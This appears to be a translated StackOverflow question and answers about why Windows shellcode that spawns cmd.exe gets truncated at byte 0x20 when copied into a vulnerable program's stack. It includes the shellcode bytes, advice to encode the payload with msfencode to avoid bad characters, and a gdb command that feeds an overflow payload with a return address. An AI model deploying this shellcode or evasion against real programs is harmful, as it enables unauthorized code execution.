Вопрос

Почему мой шеллкод обрезается после \x20 код операции, когда он копируется по строке в стек второй уязвимой программы?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--
Это было полезно?

Решение

Вы передаете этот шеллкод в качестве аргумента командной строки?В этом случае взгляните на ASCII-код 0x20;)

Другие советы

Моя теория состоит в том, что такие вещи, как кавычки, пробелы, ноль и т. д., интерпретируются оболочкой Windows, а не пересылаются.Вы могли бы как-то избежать этого, но я думаю, что проще просто закодировать шеллкод.Поэтому попробуйте утилиту msfencode из Metasploit, чтобы вообще избежать этих кодов операций.Я знаю, что значение null (/x00), пробел (/x20) и кавычка (/x22) не могут быть переданы напрямую, но я предполагаю, что существуют и другие коды операций, которые также нельзя передать.

Это мое решение, но знает ли кто-нибудь другие, которые лучше?

Заключите всю команду в двойные кавычки.Например, запустите:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top